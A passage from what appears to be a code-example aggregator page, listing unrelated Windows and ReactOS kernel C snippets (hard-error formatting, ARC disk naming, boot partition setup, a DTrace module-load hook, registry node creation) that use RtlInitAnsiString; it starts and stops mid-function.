        {
            RtlInitUnicodeString(&FormatU, (PWSTR)MessageResource->Text);
            FormatA.Buffer = NULL;
        }
        else
        {
            RtlInitAnsiString(&FormatA, (PCHAR)MessageResource->Text);
            RtlAnsiStringToUnicodeString(&FormatU, &FormatA, TRUE);
        }
    }
    else
    {
        /* Fall back to hardcoded value */
        RtlInitUnicodeString(&FormatU, L"Unknown Hard Error");
        FormatA.Buffer = NULL;
    }

    FormatString = FormatU.Buffer;

    /* Check whether a caption exists */
    if (FormatString[0] == L'{')
    {
        /* Set caption start */
        TempStringU.Buffer = ++FormatString;

        /* Get size of the caption */
        for (Size = 0; *FormatString != 0 && *FormatString != L'}'; Size++)
            FormatString++;

        /* Skip '}', '\r', '\n' */
        FormatString += 3;

        TempStringU.Length = Size * sizeof(WCHAR);
        TempStringU.MaximumLength = TempStringU.Length;
    }
    else
    {
        /* FIXME: Set string based on severity */
        RtlInitUnicodeString(&TempStringU, L"Application Error");
    }

    /* Calculate buffer length for the caption */
    CaptionStringU->MaximumLength = FileNameU.Length + TempStringU.Length +
                                    4 * sizeof(WCHAR);

    /* Allocate a buffer for the caption */
    CaptionStringU->Buffer = RtlAllocateHeap(RtlGetProcessHeap(),
                             HEAP_ZERO_MEMORY,
                             CaptionStringU->MaximumLength);

    /* Append the file name, seperator and the caption text */
    CaptionStringU->Length = 0;
    RtlAppendUnicodeStringToString(CaptionStringU, &FileNameU);
    RtlAppendUnicodeToString(CaptionStringU, L" - ");
    RtlAppendUnicodeStringToString(CaptionStringU, &TempStringU);

    /* Zero terminate the buffer */
    CaptionStringU->Buffer[CaptionStringU->Length / sizeof(WCHAR)] = 0;

    /* Free the file name buffer */
    RtlFreeUnicodeString(&FileNameU);

    /* Check if this is an exception message */
    if (Message->Status == STATUS_UNHANDLED_EXCEPTION)
    {
        ExceptionCode = Parameters[0];

        /* Handle special cases */
        if (ExceptionCode == STATUS_ACCESS_VIOLATION)
        {
            Parameters[0] = Parameters[1];
            Parameters[1] = Parameters[3];
            if (Parameters[2]) Parameters[2] = (ULONG_PTR)L"written";
            else Parameters[2] = (ULONG_PTR)L"read";
            MessageResource = NULL;
        }
        else if (ExceptionCode == STATUS_IN_PAGE_ERROR)
        {
            Parameters[0] = Parameters[1];
            Parameters[1] = Parameters[3];
            MessageResource = NULL;
        }
        else
        {
            /* Fall back to hardcoded value */
            Parameters[2] = Parameters[1];
            Parameters[1] = Parameters[0];
            Parameters[0] = (ULONG_PTR)L"unknown software exception";
        }

        if (!MessageResource)
        {
            /* Get text string of the exception code */
            Status = RtlFindMessage(GetModuleHandleW(L"ntdll"),
                                    (ULONG_PTR)RT_MESSAGETABLE,
                                    LANG_NEUTRAL,
                                    ExceptionCode,
                                    &MessageResource);

            if (NT_SUCCESS(Status))
            {
                if (FormatA.Buffer) RtlFreeUnicodeString(&FormatU);

                if (MessageResource->Flags)
                {
                    RtlInitUnicodeString(&FormatU, (PWSTR)MessageResource->Text);
                    FormatA.Buffer = NULL;
                }
                else
                {
                    RtlInitAnsiString(&FormatA, (PCHAR)MessageResource->Text);
                    RtlAnsiStringToUnicodeString(&FormatU, &FormatA, TRUE);
                }
                FormatString = FormatU.Buffer;
            }
            else
            {
                /* Fall back to hardcoded value */
                Parameters[2] = Parameters[1];
                Parameters[1] = Parameters[0];
                Parameters[0] = (ULONG_PTR)L"unknown software exception";
            }
        }
    }

    /* Calculate length of text buffer */
    TextStringU->MaximumLength = FormatU.Length + SizeOfStrings + 42 * sizeof(WCHAR);

    /* Allocate a buffer for the text */
    TextStringU->Buffer = RtlAllocateHeap(RtlGetProcessHeap(),
                                          HEAP_ZERO_MEMORY,
                                          TextStringU->MaximumLength);

    /* Wrap in SEH to protect from invalid string parameters */
    _SEH2_TRY
    {
        /* Print the string into the buffer */
        StringCbPrintfW(TextStringU->Buffer,
                        TextStringU->MaximumLength,
                        FormatString,
                        Parameters[0],
                        Parameters[1],
                        Parameters[2],
                        Parameters[3]);
        Status = STATUS_SUCCESS;
    }
    _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER)
    {
        /* Set error and free buffers */
        Status = _SEH2_GetExceptionCode();
        RtlFreeHeap(RtlGetProcessHeap(), 0, TextStringU->Buffer);
        RtlFreeHeap(RtlGetProcessHeap(), 0, CaptionStringU->Buffer);
    }
    _SEH2_END

    if (NT_SUCCESS(Status))
    {
        TextStringU->Length = wcslen(TextStringU->Buffer) * sizeof(WCHAR);
    }

    if (FormatA.Buffer) RtlFreeUnicodeString(&FormatU);

    return Status;
}
Exemplo n.º 17
0
NTSTATUS
INIT_FUNCTION
NTAPI
IopCreateArcNamesDisk(IN PLOADER_PARAMETER_BLOCK LoaderBlock,
                      IN BOOLEAN SingleDisk,
                      IN PBOOLEAN FoundBoot)
{
    PIRP Irp;
    PVOID Data;
    KEVENT Event;
    NTSTATUS Status;
    PLIST_ENTRY NextEntry;
    PFILE_OBJECT FileObject;
    DISK_GEOMETRY DiskGeometry;
    PDEVICE_OBJECT DeviceObject;
    LARGE_INTEGER StartingOffset;
    PULONG PartitionBuffer = NULL;
    IO_STATUS_BLOCK IoStatusBlock;
    CHAR Buffer[128], ArcBuffer[128];
    BOOLEAN NotEnabledPresent = FALSE;
    STORAGE_DEVICE_NUMBER DeviceNumber;
    PARC_DISK_SIGNATURE ArcDiskSignature;
    PWSTR SymbolicLinkList, lSymbolicLinkList;
    PDRIVE_LAYOUT_INFORMATION_EX DriveLayout = NULL;
    UNICODE_STRING DeviceStringW, ArcNameStringW, HalPathStringW;
    ULONG DiskNumber, DiskCount, CheckSum, i, Signature, EnabledDisks = 0;
    PARC_DISK_INFORMATION ArcDiskInformation = LoaderBlock->ArcDiskInformation;
    ANSI_STRING ArcBootString, ArcSystemString, DeviceStringA, ArcNameStringA, HalPathStringA;

    /* Initialise device number */
    DeviceNumber.DeviceNumber = 0xFFFFFFFF;
    /* Get all the disks present in the system */
    DiskCount = IoGetConfigurationInformation()->DiskCount;

    /* Get enabled disks and check if result matches */
    Status = IopFetchConfigurationInformation(&SymbolicLinkList,
                                              GUID_DEVINTERFACE_DISK,
                                              DiskCount,
                                              &EnabledDisks);
    if (!NT_SUCCESS(Status))
    {
        NotEnabledPresent = TRUE;
    }

    /* Save symbolic link list address in order to free it after */
    lSymbolicLinkList = SymbolicLinkList;

    /* Build the boot strings */
    RtlInitAnsiString(&ArcBootString, LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&ArcSystemString, LoaderBlock->ArcHalDeviceName);

    /* If we have more enabled disks, take that into account */
    if (EnabledDisks > DiskCount)
    {
        DiskCount = EnabledDisks;
    }

    /* If we'll have to browse for none enabled disks, fix higher count */
    if (NotEnabledPresent && !EnabledDisks)
    {
        DiskCount += 20;
    }

    /* Finally, if in spite of all that work, we still don't have disks, leave */
    if (!DiskCount)
    {
        goto Cleanup;
    }

    /* Start browsing disks */
    for (DiskNumber = 0; DiskNumber < DiskCount; DiskNumber++)
    {
        /* Check if we have an enabled disk */
        if (lSymbolicLinkList && *lSymbolicLinkList != UNICODE_NULL)
        {
            /* Create its device name using first symbolic link */
            RtlInitUnicodeString(&DeviceStringW, lSymbolicLinkList);
            /* Then, update symbolic links list */
            lSymbolicLinkList += wcslen(lSymbolicLinkList) + (sizeof(UNICODE_NULL) / sizeof(WCHAR));

            /* Get its associated device object and file object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);
            if (NT_SUCCESS(Status))
            {
                /* Now, we'll ask the device its device number */
                Irp = IoBuildDeviceIoControlRequest(IOCTL_STORAGE_GET_DEVICE_NUMBER,
                                                    DeviceObject,
                                                    NULL,
                                                    0,
                                                    &DeviceNumber,
                                                    sizeof(STORAGE_DEVICE_NUMBER),
                                                    FALSE,
                                                    &Event,
                                                    &IoStatusBlock);
                /* Missing resources is a shame... No need to go farther */
                if (!Irp)
                {
                    ObDereferenceObject(FileObject);
                    Status = STATUS_INSUFFICIENT_RESOURCES;
                    goto Cleanup;
                }

                /* Call the driver, and wait for it if needed */
                KeInitializeEvent(&Event, NotificationEvent, FALSE);
                Status = IoCallDriver(DeviceObject, Irp);
                if (Status == STATUS_PENDING)
                {
                    KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
                    Status = IoStatusBlock.Status;
                }

                /* If we didn't get the appriopriate data, just skip that disk */
                if (!NT_SUCCESS(Status))
                {
                   ObDereferenceObject(FileObject);
                   continue;
                }
            }

            /* End of enabled disks enumeration */
            if (NotEnabledPresent && *lSymbolicLinkList == UNICODE_NULL)
            {
                /* No enabled disk worked, reset field */
                if (DeviceNumber.DeviceNumber == 0xFFFFFFFF)
                {
                    DeviceNumber.DeviceNumber = 0;
                }

                /* Update disk number to enable the following not enabled disks */
                if (DeviceNumber.DeviceNumber > DiskNumber)
                {
                    DiskNumber = DeviceNumber.DeviceNumber;
                }

                /* Increase a bit more */
                DiskCount = DiskNumber + 20;
            }
        }
        else
        {
            /* Create device name for the disk */
            sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", DiskNumber);
            RtlInitAnsiString(&DeviceStringA, Buffer);
            Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
            if (!NT_SUCCESS(Status))
            {
                goto Cleanup;
            }

            /* Get its device object */
            Status = IoGetDeviceObjectPointer(&DeviceStringW,
                                              FILE_READ_ATTRIBUTES,
                                              &FileObject,
                                              &DeviceObject);

            RtlFreeUnicodeString(&DeviceStringW);
            /* This is a security measure, to ensure DiskNumber will be used */
            DeviceNumber.DeviceNumber = 0xFFFFFFFF;
        }

        /* Something failed somewhere earlier, just skip the disk */
        if (!NT_SUCCESS(Status))
        {
            continue;
        }

        /* Let's ask the disk for its geometry */
        Irp = IoBuildDeviceIoControlRequest(IOCTL_DISK_GET_DRIVE_GEOMETRY,
                                            DeviceObject,
                                            NULL,
                                            0,
                                            &DiskGeometry,
                                            sizeof(DISK_GEOMETRY),
                                            FALSE,
                                            &Event,
                                            &IoStatusBlock);
        /* Missing resources is a shame... No need to go farther */
        if (!Irp)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Call the driver, and wait for it if needed */
        KeInitializeEvent(&Event, NotificationEvent, FALSE);
        Status = IoCallDriver(DeviceObject, Irp);
        if (Status == STATUS_PENDING)
        {
            KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
            Status = IoStatusBlock.Status;
        }
        /* Failure, skip disk */
        if (!NT_SUCCESS(Status))
        {
            ObDereferenceObject(FileObject);
            continue;
        }

        /* Read the partition table */
        Status = IoReadPartitionTableEx(DeviceObject,
                                        &DriveLayout);
        if (!NT_SUCCESS(Status))
        {
            ObDereferenceObject(FileObject);
            continue;
        }

        /* Ensure we have at least 512 bytes per sector */
        if (DiskGeometry.BytesPerSector < 512)
        {
            DiskGeometry.BytesPerSector = 512;
        }

        /* Check MBR type against EZ Drive type */
        StartingOffset.QuadPart = 0;
        HalExamineMBR(DeviceObject, DiskGeometry.BytesPerSector, 0x55, &Data);
        if (Data)
        {
            /* If MBR is of the EZ Drive type, we'll read after it */
            StartingOffset.QuadPart = DiskGeometry.BytesPerSector;
            ExFreePool(Data);
        }

        /* Allocate for reading enough data for checksum */
        PartitionBuffer = ExAllocatePoolWithTag(NonPagedPoolCacheAligned, DiskGeometry.BytesPerSector, TAG_IO);
        if (!PartitionBuffer)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Read a sector for computing checksum */
        Irp = IoBuildSynchronousFsdRequest(IRP_MJ_READ,
                                           DeviceObject,
                                           PartitionBuffer,
                                           DiskGeometry.BytesPerSector,
                                           &StartingOffset,
                                           &Event,
                                           &IoStatusBlock);
        if (!Irp)
        {
            ObDereferenceObject(FileObject);
            Status = STATUS_INSUFFICIENT_RESOURCES;
            goto Cleanup;
        }

        /* Call the driver to perform reading */
        KeInitializeEvent(&Event, NotificationEvent, FALSE);
        Status = IoCallDriver(DeviceObject, Irp);
        if (Status == STATUS_PENDING)
        {
            KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
            Status = IoStatusBlock.Status;
        }
        if (!NT_SUCCESS(Status))
        {
            ExFreePool(DriveLayout);
            ExFreePoolWithTag(PartitionBuffer, TAG_IO);
            ObDereferenceObject(FileObject);
            continue;
        }

        ObDereferenceObject(FileObject);

        /* Calculate checksum, that's an easy computation, just adds read data */
        for (i = 0, CheckSum = 0; i < 512 / sizeof(ULONG) ; i++)
        {
            CheckSum += PartitionBuffer[i];
        }

        /* Browse each ARC disk */
        for (NextEntry = ArcDiskInformation->DiskSignatureListHead.Flink;
             NextEntry != &ArcDiskInformation->DiskSignatureListHead;
             NextEntry = NextEntry->Flink)
        {
            ArcDiskSignature = CONTAINING_RECORD(NextEntry,
                                                 ARC_DISK_SIGNATURE,
                                                 ListEntry);

            /* If they matches, ie
             * - There's only one disk for both BIOS and detected/enabled
             * - Signatures are matching
             * - Checksums are matching
             * - This is MBR
             */
            if (((SingleDisk && DiskCount == 1) ||
                (IopVerifyDiskSignature(DriveLayout, ArcDiskSignature, &Signature) &&
                 (ArcDiskSignature->CheckSum + CheckSum == 0))) &&
                (DriveLayout->PartitionStyle == PARTITION_STYLE_MBR))
            {
                /* Create device name */
                sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition0", (DeviceNumber.DeviceNumber != 0xFFFFFFFF) ? DeviceNumber.DeviceNumber : DiskNumber);
                RtlInitAnsiString(&DeviceStringA, Buffer);
                Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
                if (!NT_SUCCESS(Status))
                {
                    goto Cleanup;
                }

                /* Create ARC name */
                sprintf(ArcBuffer, "\\ArcName\\%s", ArcDiskSignature->ArcName);
                RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
                Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
                if (!NT_SUCCESS(Status))
                {
                    RtlFreeUnicodeString(&DeviceStringW);
                    goto Cleanup;
                }

                /* Link both */
                IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW);

                /* And release resources */
                RtlFreeUnicodeString(&ArcNameStringW);
                RtlFreeUnicodeString(&DeviceStringW);

                /* Now, browse for every partition */
                for (i = 1; i <= DriveLayout->PartitionCount; i++)
                {
                    /* Create device name */
                    sprintf(Buffer, "\\Device\\Harddisk%lu\\Partition%lu", (DeviceNumber.DeviceNumber != 0xFFFFFFFF) ? DeviceNumber.DeviceNumber : DiskNumber, i);
                    RtlInitAnsiString(&DeviceStringA, Buffer);
                    Status = RtlAnsiStringToUnicodeString(&DeviceStringW, &DeviceStringA, TRUE);
                    if (!NT_SUCCESS(Status))
                    {
                        goto Cleanup;
                    }

                    /* Create partial ARC name */
                    sprintf(ArcBuffer, "%spartition(%lu)", ArcDiskSignature->ArcName, i);
                    RtlInitAnsiString(&ArcNameStringA, ArcBuffer);

                    /* Is that boot device? */
                    if (RtlEqualString(&ArcNameStringA, &ArcBootString, TRUE))
                    {
                        DPRINT("Found boot device\n");
                        *FoundBoot = TRUE;
                    }

                    /* Is that system partition? */
                    if (RtlEqualString(&ArcNameStringA, &ArcSystemString, TRUE))
                    {
                        /* Create HAL path name */
                        RtlInitAnsiString(&HalPathStringA, LoaderBlock->NtHalPathName);
                        Status = RtlAnsiStringToUnicodeString(&HalPathStringW, &HalPathStringA, TRUE);
                        if (!NT_SUCCESS(Status))
                        {
                            RtlFreeUnicodeString(&DeviceStringW);
                            goto Cleanup;
                        }

                        /* Then store those information to registry */
                        IopStoreSystemPartitionInformation(&DeviceStringW, &HalPathStringW);
                        RtlFreeUnicodeString(&HalPathStringW);
                    }

                    /* Create complete ARC name */
                    sprintf(ArcBuffer, "\\ArcName\\%spartition(%lu)", ArcDiskSignature->ArcName, i);
                    RtlInitAnsiString(&ArcNameStringA, ArcBuffer);
                    Status = RtlAnsiStringToUnicodeString(&ArcNameStringW, &ArcNameStringA, TRUE);
                    if (!NT_SUCCESS(Status))
                    {
                        RtlFreeUnicodeString(&DeviceStringW);
                        goto Cleanup;
                    }

                    /* Link device name & ARC name */
                    IoCreateSymbolicLink(&ArcNameStringW, &DeviceStringW);

                    /* Release strings */
                    RtlFreeUnicodeString(&ArcNameStringW);
                    RtlFreeUnicodeString(&DeviceStringW);
                }
            }
            else
            {
                /* In case there's a valid partition, a matching signature,
                   BUT a none matching checksum, or there's a duplicate
                   signature, or even worse a virus played with partition
                   table */
                if (ArcDiskSignature->Signature == Signature &&
                    (ArcDiskSignature->CheckSum + CheckSum != 0) &&
                    ArcDiskSignature->ValidPartitionTable)
                 {
                     DPRINT("Be careful, or you have a duplicate disk signature, or a virus altered your MBR!\n");
                 }
            }
        }

        /* Release memory before jumping to next item */
        ExFreePool(DriveLayout);
        DriveLayout = NULL;
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
        PartitionBuffer = NULL;
    }

    Status = STATUS_SUCCESS;

Cleanup:
    if (SymbolicLinkList)
    {
        ExFreePool(SymbolicLinkList);
    }

    if (DriveLayout)
    {
        ExFreePool(DriveLayout);
    }

    if (PartitionBuffer)
    {
        ExFreePoolWithTag(PartitionBuffer, TAG_IO);
    }

    return Status;
}
Exemplo n.º 18
0
BOOLEAN
INIT_FUNCTION
NTAPI
IopMarkBootPartition(IN PLOADER_PARAMETER_BLOCK LoaderBlock)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    STRING DeviceString;
    CHAR Buffer[256];
    UNICODE_STRING DeviceName;
    NTSTATUS Status;
    HANDLE FileHandle;
    IO_STATUS_BLOCK IoStatusBlock;
    PFILE_OBJECT FileObject;

    /* Build the ARC device name */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&DeviceString, Buffer);
    Status = RtlAnsiStringToUnicodeString(&DeviceName, &DeviceString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Open it */
    InitializeObjectAttributes(&ObjectAttributes,
                               &DeviceName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
    Status = ZwOpenFile(&FileHandle,
                        FILE_READ_ATTRIBUTES,
                        &ObjectAttributes,
                        &IoStatusBlock,
                        0,
                        FILE_NON_DIRECTORY_FILE);
    if (!NT_SUCCESS(Status))
    {
        /* Fail */
        KeBugCheckEx(INACCESSIBLE_BOOT_DEVICE,
                     (ULONG_PTR)&DeviceName,
                     Status,
                     0,
                     0);
    }

    /* Get the DO */
    Status = ObReferenceObjectByHandle(FileHandle,
                                       0,
                                       IoFileObjectType,
                                       KernelMode,
                                       (PVOID *)&FileObject,
                                       NULL);
    if (!NT_SUCCESS(Status))
    {
        /* Fail */
        RtlFreeUnicodeString(&DeviceName);
        return FALSE;
    }

    /* Mark it as the boot partition */
    FileObject->DeviceObject->Flags |= DO_SYSTEM_BOOT_PARTITION;

    /* Save a copy of the DO for the I/O Error Logger */
    ObReferenceObject(FileObject->DeviceObject);
    IopErrorLogObject = FileObject->DeviceObject;

    /* Cleanup and return success */
    RtlFreeUnicodeString(&DeviceName);
    NtClose(FileHandle);
    ObDereferenceObject(FileObject);
    return TRUE;
}
Exemplo n.º 19
0
NTSTATUS
NTAPI
INIT_FUNCTION
IopReassignSystemRoot(IN PLOADER_PARAMETER_BLOCK LoaderBlock,
                      OUT PANSI_STRING NtBootPath)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    NTSTATUS Status;
    CHAR Buffer[256], AnsiBuffer[256];
    WCHAR ArcNameBuffer[64];
    ANSI_STRING TargetString, ArcString, TempString;
    UNICODE_STRING LinkName, TargetName, ArcName;
    HANDLE LinkHandle;

    /* Create the Unicode name for the current ARC boot device */
    sprintf(Buffer, "\\ArcName\\%s", LoaderBlock->ArcBootDeviceName);
    RtlInitAnsiString(&TargetString, Buffer);
    Status = RtlAnsiStringToUnicodeString(&TargetName, &TargetString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Initialize the attributes and open the link */
    InitializeObjectAttributes(&ObjectAttributes,
                               &TargetName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
    Status = NtOpenSymbolicLinkObject(&LinkHandle,
                                      SYMBOLIC_LINK_ALL_ACCESS,
                                      &ObjectAttributes);
    if (!NT_SUCCESS(Status))
    {
        /* We failed, free the string */
        RtlFreeUnicodeString(&TargetName);
        return FALSE;
    }

    /* Query the current \\SystemRoot */
    ArcName.Buffer = ArcNameBuffer;
    ArcName.Length = 0;
    ArcName.MaximumLength = sizeof(ArcNameBuffer);
    Status = NtQuerySymbolicLinkObject(LinkHandle, &ArcName, NULL);
    if (!NT_SUCCESS(Status))
    {
        /* We failed, free the string */
        RtlFreeUnicodeString(&TargetName);
        return FALSE;
    }

    /* Convert it to Ansi */
    ArcString.Buffer = AnsiBuffer;
    ArcString.Length = 0;
    ArcString.MaximumLength = sizeof(AnsiBuffer);
    Status = RtlUnicodeStringToAnsiString(&ArcString, &ArcName, FALSE);
    AnsiBuffer[ArcString.Length] = ANSI_NULL;

    /* Close the link handle and free the name */
    ObCloseHandle(LinkHandle, KernelMode);
    RtlFreeUnicodeString(&TargetName);

    /* Setup the system root name again */
    RtlInitAnsiString(&TempString, "\\SystemRoot");
    Status = RtlAnsiStringToUnicodeString(&LinkName, &TempString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Open the symbolic link for it */
    InitializeObjectAttributes(&ObjectAttributes,
                               &LinkName,
                               OBJ_CASE_INSENSITIVE,
                               NULL,
                               NULL);
    Status = NtOpenSymbolicLinkObject(&LinkHandle,
                                      SYMBOLIC_LINK_ALL_ACCESS,
                                      &ObjectAttributes);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Destroy it */
    NtMakeTemporaryObject(LinkHandle);
    ObCloseHandle(LinkHandle, KernelMode);

    /* Now create the new name for it */
    sprintf(Buffer, "%s%s", ArcString.Buffer, LoaderBlock->NtBootPathName);

    /* Copy it into the passed parameter and null-terminate it */
    RtlCopyString(NtBootPath, &ArcString);
    Buffer[strlen(Buffer) - 1] = ANSI_NULL;

    /* Setup the Unicode-name for the new symbolic link value */
    RtlInitAnsiString(&TargetString, Buffer);
    InitializeObjectAttributes(&ObjectAttributes,
                               &LinkName,
                               OBJ_CASE_INSENSITIVE | OBJ_PERMANENT,
                               NULL,
                               NULL);
    Status = RtlAnsiStringToUnicodeString(&ArcName, &TargetString, TRUE);
    if (!NT_SUCCESS(Status)) return FALSE;

    /* Create it */
    Status = NtCreateSymbolicLinkObject(&LinkHandle,
                                        SYMBOLIC_LINK_ALL_ACCESS,
                                        &ObjectAttributes,
                                        &ArcName);

    /* Free all the strings and close the handle and return success */
    RtlFreeUnicodeString(&ArcName);
    RtlFreeUnicodeString(&LinkName);
    ObCloseHandle(LinkHandle, KernelMode);
    return TRUE;
}
Exemplo n.º 20
0
void ProcKernelModuleLoaded(PUNICODE_STRING FullImageName, HANDLE  ProcessId, PIMAGE_INFO  ImageInfo)
{
	char buf[256], *s, *sbuf;
	ANSI_STRING AS;
	ULONG l;
	modctl_t *ctl;
	int reloaded = 0;
	
	if (ImageInfo->SystemModeImage) {
		l = RtlUnicodeStringToAnsiSize(FullImageName);
		if (l == 0)
			return;

		RtlInitAnsiString(&AS, NULL);
		RtlUnicodeStringToAnsiString(&AS, FullImageName, TRUE);
		if (AS.MaximumLength >= AS.Length + 1) {
 			AS.Buffer[AS.Length] = '\0';
 		} else {
 			RtlFreeAnsiString(&AS);
 			return;
 		}
 	
		s = strrchr(AS.Buffer, '\\');
		if (s == NULL) {
			RtlFreeAnsiString(&AS);
			return;
		}
		
		s++;
		ctl = modules;
		do {
			if (strcmp(ctl->mod_modname, s) == 0 && ctl->size == ImageInfo->ImageSize) {
				ctl->imgbase = (uintptr_t) ImageInfo->ImageBase;
				ctl->loadcnt++;
				reloaded = 1;
				dprintf("dtrace.sys: module %s reloaded\n", s);
				break;
			}
				
		} while ((ctl = ctl->mod_next) != modules);
		
		if (reloaded == 0) {
			ctl = ExAllocatePoolWithTag(NonPagedPool, sizeof(modctl_t), 'Tag1');
			
			if (ctl == NULL) {
				return;
			}
			sbuf = ExAllocatePoolWithTag(NonPagedPool, strlen(s)+1, 'Tag1');
			RtlFreeAnsiString(&AS);
			
			if (sbuf == NULL) {
				ExFreePoolWithTag(ctl, 'Tag1');
				return;
			}
			strcpy(sbuf, s);
			ctl->imgbase = (uintptr_t) ImageInfo->ImageBase;
			ctl->size = ImageInfo->ImageSize;
			ctl->mod_modname = sbuf;
			ctl->loadcnt = 0;
			ctl->nenabled = 0;
			ctl->fbt_nentries = 0;
			dprintf("dtrace.sys: module %s loaded\n", s);
			
			ctl->mod_next = modules->mod_next;
			modules->mod_next = ctl;
		}	
		dtrace_module_loaded(ctl);
	}
}
Exemplo n.º 21
0
PWCHAR
NTAPI
PciGetDescriptionMessage(IN ULONG Identifier,
                         OUT PULONG Length)
{
    PMESSAGE_RESOURCE_ENTRY Entry;
    ULONG TextLength;
    PWCHAR Description, Buffer;
    ANSI_STRING MessageString;
    UNICODE_STRING UnicodeString;
    NTSTATUS Status;

    /* Find the message identifier in the message table */
    MessageString.Buffer = NULL;
    Status = RtlFindMessage(PciDriverObject->DriverStart,
                            11, // RT_MESSAGETABLE
                            LANG_NEUTRAL,
                            Identifier,
                            &Entry);
    if (!NT_SUCCESS(Status)) return NULL;

    /* Check if the resource data is Unicode or ANSI */
    if (Entry->Flags & MESSAGE_RESOURCE_UNICODE)
    {
        /* Subtract one space for the end-of-message terminator */
        TextLength = Entry->Length -
                     FIELD_OFFSET(MESSAGE_RESOURCE_ENTRY, Text) -
                     sizeof(WCHAR);

        /* Grab the text */
        Description = (PWCHAR)Entry->Text;

        /* Validate valid message length, ending with a newline character */
        ASSERT(TextLength > 1);
        ASSERT(Description[TextLength / sizeof(WCHAR)] == L'\n');

        /* Allocate the buffer to hold the message string */
        Buffer = ExAllocatePoolWithTag(PagedPool, TextLength, 'BicP');
        if (!Buffer) return NULL;

        /* Copy the message, minus the newline character, and terminate it */
        RtlCopyMemory(Buffer, Entry->Text, TextLength - 1);
        Buffer[TextLength / sizeof(WCHAR)] = UNICODE_NULL;

        /* Return the length to the caller, minus the terminating NULL */
        if (Length) *Length = TextLength - 1;
    }
    else
    {
        /* Initialize the entry as a string */
        RtlInitAnsiString(&MessageString, (PCHAR)Entry->Text);

        /* Remove the newline character */
        MessageString.Length -= sizeof(CHAR);

        /* Convert it to Unicode */
        RtlAnsiStringToUnicodeString(&UnicodeString, &MessageString, TRUE);
        Buffer = UnicodeString.Buffer;

        /* Return the length to the caller */
        if (Length) *Length = UnicodeString.Length;
    }

    /* Return the message buffer to the caller */
    return Buffer;
}
Exemplo n.º 22
0
NTSTATUS
CmpInitializeRegistryNode(
    IN PCONFIGURATION_COMPONENT_DATA CurrentEntry,
    IN HANDLE ParentHandle,
    OUT PHANDLE NewHandle,
    IN INTERFACE_TYPE InterfaceType,
    IN ULONG BusNumber,
    IN PUSHORT DeviceIndexTable
    )

/*++

Routine Description:

    This routine creates a node for the current firmware component
    and puts component data to the data part of the node.

Arguments:

    CurrentEntry - Supplies a pointer to a configuration component.

    Handle - Supplies the parent handle of CurrentEntry node.

    NewHandle - Suppiles a pointer to a HANDLE to receive the handle of
        the newly created node.

    InterfaceType - Specify the Interface type of the bus that the
        CurrentEntry component resides. (See BusNumber also)

    BusNumber - Specify the Bus Number of the bus that the CurrentEntry
        component resides on.  If Bus number is -1, it means InterfaceType
        and BusNumber are meaningless for this component.

Returns:

    None.

--*/
{

    NTSTATUS Status;
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING KeyName;
    UNICODE_STRING ValueName;
    UNICODE_STRING ValueData;
    HANDLE Handle;
    HANDLE OldHandle;
    ANSI_STRING AnsiString;
    UCHAR Buffer[12];
    WCHAR UnicodeBuffer[12];
    CONFIGURATION_COMPONENT *Component;
    ULONG Disposition;
    ULONG ConfigurationDataLength;
    PCM_FULL_RESOURCE_DESCRIPTOR NewArea;

    Component = &CurrentEntry->ComponentEntry;

    //
    // If the component class is SystemClass, we set its Type to be
    // ArcSystem.  The reason is because the detection code sets
    // its type to MaximumType to indicate it is NOT ARC compatible.
    // Here, we are only interested in building a System Node.  So we
    // change its Type to ArcSystem to ease the setup.
    //

    if (Component->Class == SystemClass) {
        Component->Type = ArcSystem;
    }

    //
    // Create a new key to describe the Component.
    //
    // The type of the component will be used as the keyname of the
    // registry node.  The class is the class of the component.
    //

    InitializeObjectAttributes(
        &ObjectAttributes,
        &(CmTypeName[Component->Type]),
        0,
        ParentHandle,
        NULL
        );
    ObjectAttributes.Attributes |= OBJ_CASE_INSENSITIVE;

    Status = NtCreateKey(                   // Paht may already exist
                &Handle,
                KEY_READ | KEY_WRITE,
                &ObjectAttributes,
                TITLE_INDEX_VALUE,
                &(CmClassName[Component->Class]),
                0,
                &Disposition
                );

    if (!NT_SUCCESS(Status)) {
        return(Status);
    }

    //
    // If this component is NOT a SystemClass component, we will
    // create a subkey to identify the component's ordering.
    //

    if (Component->Class != SystemClass) {

        RtlIntegerToChar(
            DeviceIndexTable[Component->Type]++,
            10,
            12,
            Buffer
            );

        RtlInitAnsiString(
            &AnsiString,
            Buffer
            );

        KeyName.Buffer = (PWSTR)UnicodeBuffer;
        KeyName.Length = 0;
        KeyName.MaximumLength = sizeof(UnicodeBuffer);

        RtlAnsiStringToUnicodeString(
            &KeyName,
            &AnsiString,
            FALSE
            );

        OldHandle = Handle;

        InitializeObjectAttributes(
            &ObjectAttributes,
